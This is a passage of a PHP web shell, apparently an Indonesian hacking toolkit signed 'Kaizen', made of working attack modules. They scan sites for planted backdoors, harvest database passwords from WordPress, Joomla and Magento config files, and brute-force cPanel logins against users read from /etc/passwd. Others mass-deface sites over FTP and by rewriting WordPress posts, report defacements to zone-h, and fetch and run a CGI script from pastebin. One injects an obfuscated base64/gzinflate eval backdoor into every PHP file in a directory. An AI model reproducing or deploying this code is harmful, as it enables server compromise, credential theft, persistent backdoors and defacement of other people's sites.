7692 if(preg_match('/error, not put domain name/', $url_target)) {
7693 echo $url_target2;
7694 } else {
7695 echo $url_target;
7696 }
7697 if(!$update OR !$conn OR !$db) {
7698 echo "Status => <font color=red>".mysql_error()."</font><br><br>";
7699 } else {
7700 echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
7701 }
7702 mysql_close($conn);
7703 }
7704 }
7705 }
7706 } else {
7707 echo "<center>
7708 <h1>Auto Edit User Config</h1>
7709 <form method='post'>
7710 DIR Config: <br>
7711 <input type='text' size='50' name='config_dir' value='$dir'><br><br>
7712 Set User & Pass: <br>
7713 <input type='text' name='user_baru' value='Kaizen' placeholder='user_baru'><br>
7714 <input type='text' name='pass_baru' value='Kaizen' placeholder='pass_baru'><br>
7715 <input type='submit' name='hajar' value='Start' style='width: 215px;'>
7716 </form>
7717 <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
7718 ";
7719 }
7720}elseif($_GET['do'] == 'shelscan') {
7721 echo'<center><h2>Shell Finder</h2>
7722<form action="" method="post">
7723<input type="text" size="50" name="traget" value="http://www.site.com/"/>
7724<br>
7725<input name="scan" value="Start Scaning" style="width: 215px;" type="submit">
7726</form><br>';
7727if (isset($_POST["scan"])) {
7728$url = $_POST['traget'];
7729echo "<br /><span class='start'>Scanning ".$url."<br /><br /></span>";
7730echo "Result :<br />";
7731$shells = array("WSO.php","dz.php","cpanel.php","cpn.php","sql.php","mysql.php","madspot.php","cp.php","cpbt.php","sYm.php",
7732"x.php","r99.php","lol.php","jo.php","wp.php","whmcs.php","shellz.php","d0main.php","d0mains.php","users.php",
7733"Cgishell.pl","killer.php","changeall.php","2.php","Sh3ll.php","dz0.php","dam.php","user.php","dom.php","whmcs.php",
7734"vb.zip","r00t.php","c99.php","gaza.php","1.php","wp.zip"."wp-content/plugins/disqus-comment-system/disqus.php",
7735"d0mains.php","wp-content/plugins/akismet/akismet.php","madspotshell.php","Sym.php","c22.php","c100.php",
7736"wp-content/plugins/akismet/admin.php#","wp-content/plugins/google-sitemap-generator/sitemap-core.php#",
7737"wp-content/plugins/akismet/widget.php#","Cpanel.php","zone-h.php","tmp/user.php","tmp/Sym.php","cp.php",
7738"tmp/madspotshell.php","tmp/root.php","tmp/whmcs.php","tmp/index.php","tmp/2.php","tmp/dz.php","tmp/cpn.php",
7739"tmp/changeall.php","tmp/Cgishell.pl","tmp/sql.php","tmp/admin.php","cliente/downloads/h4xor.php",
7740"whmcs/downloads/dz.php","L3b.php","d.php","tmp/d.php","tmp/L3b.php","wp-content/plugins/akismet/admin.php",
7741"templates/rhuk_milkyway/index.php","templates/beez/index.php","admin1.php","upload.php","up.php","vb.zip","vb.rar",
7742"admin2.asp","uploads.php","sa.php","sysadmins/","admin1/","administration/Sym.php","images/Sym.php",
7743"/r57.php","/wp-content/plugins/disqus-comment-system/disqus.php","/shell.php","/sa.php","/admin.php",
7744"/sa2.php","/2.php","/gaza.php","/up.php","/upload.php","/uploads.php","/templates/beez/index.php","shell.php","/amad.php",
7745"/t00.php","/dz.php","/site.rar","/Black.php","/site.tar.gz","/home.zip","/home.rar","/home.tar","/home.tar.gz",
7746"/forum.zip","/forum.rar","/forum.tar","/forum.tar.gz","/test.txt","/ftp.txt","/user.txt","/site.txt","/error_log","/error",
7747"/cpanel","/awstats","/site.sql","/vb.sql","/forum.sql","/backup.sql","/back.sql","/data.sql","wp.rar/",
7748"wp-content/plugins/disqus-comment-system/disqus.php","asp.aspx","/templates/beez/index.php","tmp/vaga.php",
7749"tmp/killer.php","whmcs.php","tmp/killer.php","tmp/domaine.pl","tmp/domaine.php","useradmin/",
7750"tmp/d0maine.php","d0maine.php","tmp/sql.php","tmp/dz1.php","dz1.php","forum.zip","Symlink.php","Symlink.pl",
7751"forum.rar","joomla.zip","joomla.rar","wp.php","buck.sql","sysadmin.php","images/c99.php", "xd.php", "c100.php",
7752"spy.aspx","xd.php","tmp/xd.php","sym/root/home/","billing/killer.php","tmp/upload.php","tmp/admin.php",
7753"Server.php","tmp/uploads.php","tmp/up.php","Server/","wp-admin/c99.php","tmp/priv8.php","priv8.php","cgi.pl/",
7754"tmp/cgi.pl","downloads/dom.php","templates/ja-helio-farsi/index.php","webadmin.html","admins.php",
7755"/wp-content/plugins/count-per-day/js/yc/d00.php", "admins/","admins.asp","admins.php","wp.zip","wso2.5.1","pasir.php","pasir2.php","up.php","cok.php","newfile.php","upl.php",".php","a.php","crot.php","kontol.php","hmei7.php","jembut.php","memek.php","tai.php","rabit.php","indoxploit.php","a.php","hemb.php","hack.php","galau.php","HsH.php","indoXploit.php","asu.php","wso.php","lol.php","idx.php","rabbit.php","1n73ction.php","k.php","mailer.php","mail.php","temp.php","c.php","d.php","IDB.php","indo.php","indonesia.php","semvak.php","ndasmu.php","cox.php","as.php","ad.php","aa.php","file.php","peju.php","asd.php","configs.php","ass.php","z.php");
7756foreach ($shells as $shell){
7757$headers = get_headers("$url$shell"); //
7758if (eregi('200', $headers[0])) {
7759echo "<a href='$url$shell'>$url$shell</a> <span class='found'>Done</span><br /><br/><br/>"; //
7760$dz = fopen('shells.txt', 'a+');
7761$suck = "$url$shell";
7762fwrite($dz, $suck."\n");
7763}
7764}
7765echo "Shell [ <a href='./shells.txt' target='_blank'>shells.txt</a> ]</span>";
7766}
7767
7768}
7769 elseif($_GET['do'] == 'cpanel') {
7770 if($_POST['crack']) {
7771 $usercp = explode("\r\n", $_POST['user_cp']);
7772 $passcp = explode("\r\n", $_POST['pass_cp']);
7773 $i = 0;
7774 foreach($usercp as $ucp) {
7775 foreach($passcp as $pcp) {
7776 if(@mysql_connect('localhost', $ucp, $pcp)) {
7777 if($_SESSION[$ucp] && $_SESSION[$pcp]) {
7778 } else {
7779 $_SESSION[$ucp] = "1";
7780 $_SESSION[$pcp] = "1";
7781 $i++;
7782 echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
7783 }
7784 }
7785 }
7786 }
7787 if($i == 0) {
7788 } else {
7789 echo "<br>Nyolong ".$i." Cpanel By <font color=lime>Kaizen</font>";
7790 }
7791 } else {
7792 echo "<center>
7793 <form method='post'>
7794 USER: <br>
7795 <textarea style='width: 450px; height: 150px;' name='user_cp'>";
7796 $_usercp = fopen("/etc/passwd","r");
7797 while($getu = fgets($_usercp)) {
7798 if($getu == '' || !$_usercp) {
7799 echo "<font color=red>Can't read /etc/passwd</font>";
7800 } else {
7801 preg_match_all("/(.*?):x:/", $getu, $u);
7802 foreach($u[1] as $user_cp) {
7803 if(is_dir("/home/$user_cp/public_html")) {
7804 echo "$user_cp\n";
7805 }
7806 }
7807 }
7808 }
7809 echo "</textarea><br>
7810 PASS: <br>
7811 <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
7812 function cp_pass($dir) {
7813 $pass = "";
7814 $dira = scandir($dir);
7815 foreach($dira as $dirb) {
7816 if(!is_file("$dir/$dirb")) continue;
7817 $ambil = file_get_contents("$dir/$dirb");
7818 if(preg_match("/WordPress/", $ambil)) {
7819 $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\n";
7820 } elseif(preg_match("/JConfig|joomla/", $ambil)) {
7821 $pass .= ambilkata($ambil,"password = '","'")."\n";
7822 } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
7823 $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\n";
7824 } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
7825 $pass .= ambilkata($ambil,'password = "','"')."\n";
7826 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
7827 $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\n";
7828 } elseif(preg_match("/client/", $ambil)) {
7829 preg_match("/password=(.*)/", $ambil, $pass1);
7830 if(preg_match('/"/', $pass1[1])) {
7831 $pass1[1] = str_replace('"', "", $pass1[1]);
7832 $pass .= $pass1[1]."\n";
7833 }
7834 } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
7835 $pass .= ambilkata($ambil,"db_password = '","'")."\n";
7836 }
7837 }
7838 echo $pass;
7839 }
7840 $cp_pass = cp_pass($dir);
7841 echo $cp_pass;
7842 echo "</textarea><br>
7843 <input type='submit' name='crack' style='width: 450px;' value='Crack'>
7844 </form>
7845 <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
7846 }
7847} elseif($_GET['do'] == 'smtp') {
7848 echo "<center><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span></center><br>";
7849 function scj($dir) {
7850 $dira = scandir($dir);
7851 foreach($dira as $dirb) {
7852 if(!is_file("$dir/$dirb")) continue;
7853 $ambil = file_get_contents("$dir/$dirb");
7854 $ambil = str_replace("$", "", $ambil);
7855 if(preg_match("/JConfig|joomla/", $ambil)) {
7856
7857 $smtp_host = ambilkata($ambil,"smtphost = '","'");
7858 $smtp_auth = ambilkata($ambil,"smtpauth = '","'");
7859 $smtp_user = ambilkata($ambil,"smtpuser = '","'");
7860 $smtp_pass = ambilkata($ambil,"smtppass = '","'");
7861 $smtp_port = ambilkata($ambil,"smtpport = '","'");
7862 $smtp_secure = ambilkata($ambil,"smtpsecure = '","'");
7863 echo "SMTP Host: <font color=lime>$smtp_host</font><br>";
7864 echo "SMTP port: <font color=lime>$smtp_port</font><br>";
7865 echo "SMTP user: <font color=lime>$smtp_user</font><br>";
7866 echo "SMTP pass: <font color=lime>$smtp_pass</font><br>";
7867 echo "SMTP auth: <font color=lime>$smtp_auth</font><br>";
7868 echo "SMTP secure: <font color=lime>$smtp_secure</font><br><br>";
7869 }
7870 }
7871 }
7872 $smpt_hunter = scj($dir);
7873 echo $smpt_hunter;
7874} elseif($_GET['do'] == 'auto_wp') {
7875 if($_POST['hajar']) {
7876 $title = htmlspecialchars($_POST['new_title']);
7877 $pn_title = str_replace(" ", "-", $title);
7878 if($_POST['cek_edit'] == "Y") {
7879 $script = $_POST['edit_content'];
7880 } else {
7881 $script = $title;
7882 }
7883 $conf = $_POST['config_dir'];
7884 $scan_conf = scandir($conf);
7885 foreach($scan_conf as $file_conf) {
7886 if(!is_file("$conf/$file_conf")) continue;
7887 $config = file_get_contents("$conf/$file_conf");
7888 if(preg_match("/WordPress/", $config)) {
7889 $dbhost = ambilkata($config,"DB_HOST', '","'");
7890 $dbuser = ambilkata($config,"DB_USER', '","'");
7891 $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
7892 $dbname = ambilkata($config,"DB_NAME', '","'");
7893 $dbprefix = ambilkata($config,"table_prefix = '","'");
7894 $prefix = $dbprefix."posts";
7895 $option = $dbprefix."options";
7896 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
7897 $db = mysql_select_db($dbname);
7898 $q = mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
7899 $result = mysql_fetch_array($q);
7900 $id = $result[ID];
7901 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
7902 $result2 = mysql_fetch_array($q2);
7903 $target = $result2[option_value];
7904 $update = mysql_query("UPDATE $prefix SET post_title='$title',post_content='$script',post_name='$pn_title',post_status='publish',comment_status='open',ping_status='open',post_type='post',comment_count='1' WHERE id='$id'");
7905 $update .= mysql_query("UPDATE $option SET option_value='$title' WHERE option_name='blogname' OR option_name='blogdescription'");
7906 echo "<div style='margin: 5px auto;'>";
7907 if($target == '') {
7908 echo "URL: <font color=red>error, not put domain name</font> -> ";
7909 } else {
7910 echo "URL: <a href='$target/?p=$id' target='_blank'>$target/?p=$id</a> -> ";
7911 }
7912 if(!$update OR !$conn OR !$db) {
7913 echo "<font color=red>MySQL Error: ".mysql_error()."</font><br>";
7914 } else {
7915 echo "<font color=lime>Succes</font><br>";
7916 }
7917 echo "</div>";
7918 mysql_close($conn);
7919 }
7920 }
7921 } else {
7922 echo "<center>
7923 <h1>Auto Edit Title+Content WordPress</h1>
7924 <form method='post'>
7925 DIR Config: <br>
7926 <input type='text' size='50' name='config_dir' value='$dir'><br><br>
7927 Set Title: <br>
7928 <input type='text' name='new_title' value='Hacked By Kaizen' placeholder='New Title'><br><br>
7929 Edit Content?: <input type='radio' name='cek_edit' value='Y' checked>Y<input type='radio' name='cek_edit' value='N'>N<br>
7930 <span>Jika pilih <u>Y</u> masukin script defacemu ( saran yang simple aja ), kalo pilih <u>N</u> gausah di isi.</span><br>
7931 <textarea name='edit_content' placeholder='contoh script: http://pastebin.com/EpP671gK' style='width: 450px; height: 150px;'></textarea><br>
7932 <input type='submit' name='hajar' value='Start' style='width: 450px;'><br>
7933 </form>
7934 <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
7935 ";
7936 }
7937} elseif($_GET['do'] == 'zoneh') {
7938 if($_POST['submit']) {
7939 $domain = explode("\r\n", $_POST['url']);
7940 $nick = $_POST['nick'];
7941 echo "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
7942 echo "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
7943 function zoneh($url,$nick) {
7944 $ch = curl_init("http://www.zone-h.com/notify/single");
7945 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
7946 curl_setopt($ch, CURLOPT_POST, true);
7947 curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
7948 return curl_exec($ch);
7949 curl_close($ch);
7950 }
7951 foreach($domain as $url) {
7952 $zoneh = zoneh($url,$nick);
7953 if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
7954 echo "$url -> <font color=lime>OK</font><br>";
7955 } else {
7956 echo "$url -> <font color=red>ERROR</font><br>";
7957 }
7958 }
7959 } else {
7960 echo "<center><form method='post'>
7961 <u>Defacer</u>: <br>
7962 <input type='text' name='nick' size='50' value='Kaizen'><br>
7963 <u>Domains</u>: <br>
7964 <textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
7965 <input type='submit' name='submit' value='Submit' style='width: 450px;'>
7966 </form>";
7967 }
7968 echo "</center>";
7969}elseif($_GET['do'] == 'cpftp_auto') {
7970 if($_POST['crack']) {
7971 $usercp = explode("\r\n", $_POST['user_cp']);
7972 $passcp = explode("\r\n", $_POST['pass_cp']);
7973 $i = 0;
7974 foreach($usercp as $ucp) {
7975 foreach($passcp as $pcp) {
7976 if(@mysql_connect('localhost', $ucp, $pcp)) {
7977 if($_SESSION[$ucp] && $_SESSION[$pcp]) {
7978 } else {
7979 $_SESSION[$ucp] = "1";
7980 $_SESSION[$pcp] = "1";
7981 if($ucp == '' || $pcp == '') {
7982 //
7983 } else {
7984 echo "[+] username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
7985 $ftp_conn = ftp_connect(gethostbyname($_SERVER['HTTP_HOST']));
7986 $ftp_login = ftp_login($ftp_conn, $ucp, $pcp);
7987 if((!$ftp_login) || (!$ftp_conn)) {
7988 echo "[+] <font color=red>Login Failed</font><br><br>";
7989 } else {
7990 echo "[+] <font color=lime>Login Sukses</font><br>";
7991 $fi = htmlspecialchars($_POST['file_deface']);
7992 $deface = ftp_put($ftp_conn, "public_html/$fi", $_POST['deface'], FTP_BINARY);
7993 if($deface) {
7994 $i++;
7995 echo "[+] <font color=lime>Deface Sukses</font><br>";
7996 if(function_exists('posix_getpwuid')) {
7997 $domain_cp = file_get_contents("/etc/named.conf");
7998 if($domain_cp == '') {
7999 echo "[+] <font color=red>not put domain name</font><br><br>";
8000 } else {
8001 preg_match_all("#/var/named/(.*?).db#", $domain_cp, $domains_cp);
8002 foreach($domains_cp[1] as $dj) {
8003 $user_cp_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
8004 $user_cp_url = $user_cp_url['name'];
8005 if($user_cp_url == $ucp) {
8006 echo "[+] <a href='http://$dj/$fi' target='_blank'>http://$dj/$fi</a><br><br>";
8007 break;
8008 }
8009 }
8010 }
8011 } else {
8012 echo "[+] <font color=red>not put domain name</font><br><br>";
8013 }
8014 } else {
8015 echo "[-] <font color=red>Failed Deface</font><br><br>";
8016 }
8017 }
8018 //echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
8019 }
8020 }
8021 }
8022 }
8023 }
8024 if($i == 0) {
8025 } else {
8026 echo "<br>Sukses Deface ".$i." Cpanel by <font color=lime>Kaizen</font>";
8027 }
8028 } else {
8029 echo "<center>
8030 <form method='post'>
8031 Filename: <br>
8032 <input type='text' name='file_deface' placeholder='index.php' value='index.php' style='width: 450px;'><br>
8033 Deface Page: <br>
8034 <input type='text' name='deface' placeholder='http://www.web-yang-udah-do-deface.com/filemu.php' style='width: 450px;'><br>
8035 USER: <br>
8036 <textarea style='width: 450px; height: 150px;' name='user_cp'>";
8037 $_usercp = fopen("/etc/passwd","r");
8038 while($getu = fgets($_usercp)) {
8039 if($getu == '' || !$_usercp) {
8040 echo "<font color=red>Can't read /etc/passwd</font>";
8041 } else {
8042 preg_match_all("/(.*?):x:/", $getu, $u);
8043 foreach($u[1] as $user_cp) {
8044 if(is_dir("/home/$user_cp/public_html")) {
8045 echo "$user_cp\n";
8046 }
8047 }
8048 }
8049 }
8050 echo "</textarea><br>
8051 PASS: <br>
8052 <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
8053 function cp_pass($dir) {
8054 $pass = "";
8055 $dira = scandir($dir);
8056 foreach($dira as $dirb) {
8057 if(!is_file("$dir/$dirb")) continue;
8058 $ambil = file_get_contents("$dir/$dirb");
8059 if(preg_match("/WordPress/", $ambil)) {
8060 $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\n";
8061 } elseif(preg_match("/JConfig|joomla/", $ambil)) {
8062 $pass .= ambilkata($ambil,"password = '","'")."\n";
8063 } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
8064 $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\n";
8065 } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
8066 $pass .= ambilkata($ambil,'password = "','"')."\n";
8067 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
8068 $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\n";
8069 } elseif(preg_match("/client/", $ambil)) {
8070 preg_match("/password=(.*)/", $ambil, $pass1);
8071 if(preg_match('/"/', $pass1[1])) {
8072 $pass1[1] = str_replace('"', "", $pass1[1]);
8073 $pass .= $pass1[1]."\n";
8074 }
8075 } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
8076 $pass .= ambilkata($ambil,"db_password = '","'")."\n";
8077 }
8078 }
8079 echo $pass;
8080 }
8081 $cp_pass = cp_pass($dir);
8082 echo $cp_pass;
8083 echo "</textarea><br>
8084 <input type='submit' name='crack' style='width: 450px;' value='Start'>
8085 </form>
8086 <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
8087 }
8088}
8089 elseif($_GET['do'] == 'cgi') {
8090 $cgi_dir = mkdir('idx_cgi', 0755);
8091 $file_cgi = "idx_cgi/cgi.izo";
8092 $isi_htcgi = "AddHandler cgi-script .izo";
8093 $htcgi = fopen(".htaccess", "w");
8094 $cgi_script = file_get_contents("http://pastebin.com/raw.php?i=XTUFfJLg");
8095 $cgi = fopen($file_cgi, "w");
8096 fwrite($cgi, $cgi_script);
8097 fwrite($htcgi, $isi_htcgi);
8098 chmod($file_cgi, 0755);
8099 echo "<iframe src='idx_cgi/cgi.izo' width='100%' height='100%' frameborder='0' scrolling='no'></iframe>";
8100} elseif($_GET['do'] == 'fake_root') {
8101 ob_start();
8102 function reverse($url) {
8103 $ch = curl_init("http://domains.yougetsignal.com/domains.php");
8104 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
8105 curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$url&ket=");
8106 curl_setopt($ch, CURLOPT_HEADER, 0);
8107 curl_setopt($ch, CURLOPT_POST, 1);
8108 $resp = curl_exec($ch);
8109 $resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
8110 $array = explode(",,", $resp);
8111 unset($array[0]);
8112 foreach($array as $lnk) {
8113 $lnk = "http://$lnk";
8114 $lnk = str_replace(",", "", $lnk);
8115 echo $lnk."\n";
8116 ob_flush();
8117 flush();
8118 }
8119 curl_close($ch);
8120 }
8121 function cek($url) {
8122 $ch = curl_init($url);
8123 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
8124 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
8125 $resp = curl_exec($ch);
8126 return $resp;
8127 }
8128 $cwd = getcwd();
8129 $ambil_user = explode("/", $cwd);
8130 $user = $ambil_user[2];
8131 if($_POST['reverse']) {
8132 $site = explode("\r\n", $_POST['url']);
8133 $file = $_POST['file'];
8134 foreach($site as $url) {
8135 $cek = cek("$url/~$user/$file");
8136 if(preg_match("/hacked/i", $cek)) {
8137 echo "URL: <a href='$url/~$user/$file' target='_blank'>$url/~$user/$file</a> -> <font color=lime>Fake Root!</font><br>";
8138 }
8139 }
8140 } else {
8141 echo "<center><form method='post'>
8142 Filename: <br><input type='text' name='file' value='Kaizen.html' size='50' height='10'><br>
8143 User: <br><input type='text' value='$user' size='50' height='10' readonly><br>
8144 Domain: <br>
8145 <textarea style='width: 450px; height: 250px;' name='url'>";
8146 reverse($_SERVER['HTTP_HOST']);
8147 echo "</textarea><br>
8148 <input type='submit' name='reverse' value='Scan Fake Root!' style='width: 450px;'>
8149 </form><br>
8150 NB: Sebelum gunain Tools ini , upload dulu file deface kalian di dir /home/user/ dan /home/user/public_html.</center>";
8151 }
8152} elseif($_GET['do'] == 'adminer') {
8153 $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
8154 function adminer($url, $isi) {
8155 $fp = fopen($isi, "w");
8156 $ch = curl_init();
8157 curl_setopt($ch, CURLOPT_URL, $url);
8158 curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
8159 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
8160 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
8161 curl_setopt($ch, CURLOPT_FILE, $fp);
8162 return curl_exec($ch);
8163 curl_close($ch);
8164 fclose($fp);
8165 ob_flush();
8166 flush();
8167 }
8168 if(file_exists('adminer.php')) {
8169 echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
8170 } else {
8171 if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {
8172 echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
8173 } else {
8174 echo "<center><font color=red>Failed creat file adminer</font></center>";
8175 }
8176 }
8177}elseif($_GET['do'] == 'injectcode') {?><center>
8178 <form method='POST'>
8179 <table>
8180 <tr>
8181 <td width="100" class="title">
8182 Directory
8183 </td>
8184 <td>
8185 <input type='text' style="width: 400px;" name="pathtomass" value="<?php echo getcwd().$SEPARATOR; ?>" />
8186 </td>
8187
8188 </tr>
8189 <tr>
8190 <td class="title">
8191 Mode
8192 </td>
8193 <td>
8194 <select style="width: 400px;" name="mode" class="box">
8195 <option value="Apender">Apender</option>
8196 <option value="Overwriter">Overwriter</option>
8197 </select>
8198 </td>
8199 </tr>
8200 <tr>
8201 <td class="title">
8202 File Type
8203 </td>
8204 <td>
8205 <input type="text" class="box" name="filetype" value="php" onBlur="if(this.value=='')this.value='php';" />
8206 </td>
8207 </tr>
8208 <tr>
8209 <td>Create A backdoor by injecting this code in every php file of current directory</td>
8210 </tr>
8211
8212 <tr>
8213 <td colspan="2">
8214 <textarea name="injectthis" cols="110" rows="10" class="box"><?php echo base64_decode("PD9waHANCmV2YWwoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoInkwelRVSWwzZHcySlZrcFVpdFdzVGkxTHpORklyOHJNUzh0SkxFblZTRW9zVGpVemlVOUpUYzVQU2RWSXk4eEpqVTlQTFlsUHpzOHJTYzByS2RaUXlpZ3BLYkRTMXk5SUxDNUpUY3JNMDB2T3o5VXZTaXpYVC9VemN5d3NUTXhXMGdRQzYxb0EiKSkpOw0KPz4="); ?></textarea>
8215 </td>
8216 </tr>
8217 <tr>
8218 <td rowspan="2">
8219 <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="but" value="Inject "/>
8220 </td>
8221 </tr>
8222 </form>
8223 </table><div id="showinject"</div> <?php
8224$filetype = $_POST['filetype'];
8225$mode = "a";
8226if($_POST['mode'] == 'Apender')
8227$mode = "a";
8228 if($_POST['mode'] == 'Overwriter')
8229$mode = "w";
8230if (is_dir($_POST['pathtomass']))
8231{
8232$lolinject = $_POST['injectthis'];
8233$mypath = $_POST['pathtomass'] .$directorysperator. "*.".$filetype;
8234if(substr($_POST['pathtomass'], -1) == "\\")
8235$mypath = $_POST['pathtomass'] . "*.".$filetype;
8236foreach (glob($mypath) as $injectj00)
8237{
8238if($injectj00 == __FILE__)
8239continue;
8240$fp=fopen($injectj00,$mode);
8241if (fputs($fp,$lolinject))
8242echo '<br><font class=txt size=3>'.$injectj00.' was injected<br></font>';
8243else
8244echo 'failed to inject '.$injectj00.'<br>';
8245}
8246}
8247else
8248echo '<b>'.$_POST['pathtomass'].' is not available!</b>';
8249}
8250
8251elseif($_GET['do'] == 'passwbypass') {
8252 echo '<center>Bypass etc/passw With:<br>
8253<table style="width:50%">
8254 <tr>
8255 <td><form method="post"><input type="submit" value="System Function" name="syst"></form></td>
8256 <td><form method="post"><input type="submit" value="Passthru Function" name="passth"></form></td>
8257 <td><form method="post"><input type="submit" value="Exec Function" name="ex"></form></td>
8258 <td><form method="post"><input type="submit" value="Shell_exec Function" name="shex"></form></td>
8259 <td><form method="post"><input type="submit" value="Posix_getpwuid Function" name="melex"></form></td>
8260</tr></table>Bypass User With : <table style="width:50%">
8261<tr>
8262 <td><form method="post"><input type="submit" value="Awk Program" name="awkuser"></form></td>
8263 <td><form method="post"><input type="submit" value="System Function" name="systuser"></form></td>
8264 <td><form method="post"><input type="submit" value="Passthru Function" name="passthuser"></form></td>
8265 <td><form method="post"><input type="submit" value="Exec Function" name="exuser"></form></td>
8266 <td><form method="post"><input type="submit" value="Shell_exec Function" name="shexuser"></form></td>
8267</tr>
8268</table><br>';
8269
8270
8271if ($_POST['awkuser']) {
8272echo"<textarea class='inputzbut' cols='65' rows='15'>";
8273echo shell_exec("awk -F: '{ print $1 }' /etc/passwd | sort");
8274echo "</textarea><br>";
8275}
8276if ($_POST['systuser']) {
8277echo"<textarea class='inputzbut' cols='65' rows='15'>";
8278echo system("ls /var/mail");
8279echo "</textarea><br>";
8280}
8281if ($_POST['passthuser']) {
8282echo"<textarea class='inputzbut' cols='65' rows='15'>";
8283echo passthru("ls /var/mail");
8284echo "</textarea><br>";
8285}
8286if ($_POST['exuser']) {
8287echo"<textarea class='inputzbut' cols='65' rows='15'>";
8288echo exec("ls /var/mail");
8289echo "</textarea><br>";
8290}
8291if ($_POST['shexuser']) {
8292echo"<textarea class='inputzbut' cols='65' rows='15'>";
8293echo shell_exec("ls /var/mail");
8294echo "</textarea><br>";
8295}
8296if($_POST['syst'])
8297{
8298echo"<textarea class='inputz' cols='65' rows='15'>";
8299echo system("cat /etc/passwd");
8300echo"</textarea><br><br><b></b><br>";
8301}
8302if($_POST['passth'])
8303{
8304echo"<textarea class='inputz' cols='65' rows='15'>";
8305echo passthru("cat /etc/passwd");
8306echo"</textarea><br><br><b></b><br>";
8307}
8308if($_POST['ex'])
8309{
8310echo"<textarea class='inputz' cols='65' rows='15'>";
8311echo exec("cat /etc/passwd");
8312echo"</textarea><br><br><b></b><br>";
8313}
8314if($_POST['shex'])
8315{
8316echo"<textarea class='inputz' cols='65' rows='15'>";
8317echo shell_exec("cat /etc/passwd");
8318echo"</textarea><br><br><b></b><br>";
8319}
8320echo '<center>';
8321if($_POST['melex'])
8322{
8323echo"<textarea class='inputz' cols='65' rows='15'>";
8324for($uid=0;$uid<60000;$uid++){
8325$ara = posix_getpwuid($uid);
8326if (!empty($ara)) {
8327while (list ($key, $val) = each($ara)){
8328print "$val:";
8329}
8330print "\n";
8331}
8332}
8333echo"</textarea><br><br>";
8334}
8335//
8336
8337//
8338} elseif($_GET['do'] == 'auto_dwp') {
8339 if($_POST['auto_deface_wp']) {
8340 function anucurl($sites) {
8341 $ch = curl_init($sites);
8342 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
8343 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
8344 curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
8345 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
8346 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
8347 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
8348 curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
